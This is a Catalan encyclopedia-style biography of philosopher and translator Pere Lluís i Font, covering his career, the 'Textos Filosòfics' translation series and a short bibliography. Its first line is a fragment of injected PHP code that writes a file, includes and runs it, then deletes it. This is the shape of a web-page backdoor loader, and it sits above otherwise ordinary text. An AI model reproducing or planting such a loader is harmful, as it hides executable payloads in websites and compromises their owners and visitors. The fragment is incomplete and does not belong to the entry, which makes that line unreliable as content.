");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Lluís i Font, Pere
Facebook Twitter
Lluís i Font, Pere (Pujalt, Pallars Sobirà, 1934). Filòsof, professor universitari. Estudià teologia a la Universitat Gregoriana de Roma el curs 1955-1956 i es llicencià en filosofia per la Universitat de Tolosa de Llenguadoc el 1959 i en teologia a l’Institut Catòlic de la mateixa ciutat el 1962. Ha estat fins al 2004, que es va jubilar, professor d’història de la filosofia moderna i de filosofia de la religió a la Universitat Autònoma de Barcelona des de la seva creació, el 1968, i el primer director del Departament de Filosofia. El 2006 fou distingit doctor honoris causa per la Universitat de Lleida. Fou el principal impulsor i codirector, amb Josep M. Calsamiglia i Josep Ramoneda, de la col·lecció “Textos Filosòfics”, un ambiciós projecte de traducció al català dels cent cinquanta títols cabdals de la història de la filosofia de tots els temps (n’han aparegut des de 1981 més d’un centenar, els setanta-sis primers a l’editorial Laia i els altres a Edicions 62). Ha publicat treballs d’història de la filosofia moderna (en un arc que s’estén de Montaigne fins a Kant), d’història del pensament català (de Joaquim Carreras i Artau o Joan Maragall) i de filosofia de la religió. Ha coordinat els volums 10 pensadors cristians del segle XX(1999), Història del pensament cristià. Quaranta figures (2002), Les idees i els dies. Un segle de filosofia i ciències socials als Països Catalans (2002) o Una altra mirada. Deu dones i el cristianisme (2005). A més de vetllar per la qualitat de les traduccions i de les edicions del conjunt de la col·lecció “Textos Filosòfics”, ha estat curador dels volums següents: Apologia de Ramon Sibiuda (1982) de Montaigne, Prolegòmens (1982), Fonamentació de la metafísica dels costums (1984) i Crítica de la raó pràctica (2003) de Kant, Tractat de l’esmena de l’enteniment. Cartes sobre el mal (1991) de Spinoza i Tractat de les passions. Cartes sobre la moral (1998) de Descartes. També ha estat l’impulsor i el curador de l’edició catalana de la Història de la filosofia d’Émile Bréhier (1998-2002). Ha traduït una antologia de textos variats de Pascal en el llibre Introducció a la lectura de Pascal i el Discurs del mètodede Descartes, amb una copiosa anotació. La crítica ha destacat la pulcritud, el rigor i l’escrupolositat d’aquestes traduccions. Segons que assenyala Josep Olesti, el traductor hi «conjuga amb encert el respecte i la fidelitat envers l’original amb la sensibilitat lingüística». [Ronald Puppo]
DESCARTES, René. Discurs del mètode. Barcelona: 1996. (TF, 74)
LLUÍS FONT, Pere. Introducció a la lectura de Pascal. Barcelona: Cruïlla, 1996.
MARQUÈS, Andreu. “Sobre l’actualitat de Pascal”. Qüestions de Vida Cristiana, 85 (1997), p. 106-111.
OLESTI, Josep. “Descartes, René. Discurs del Mètode”. Enrahonar. Quaderns de Filosofia28 (1997), p. 197-200.
Amb el suport de: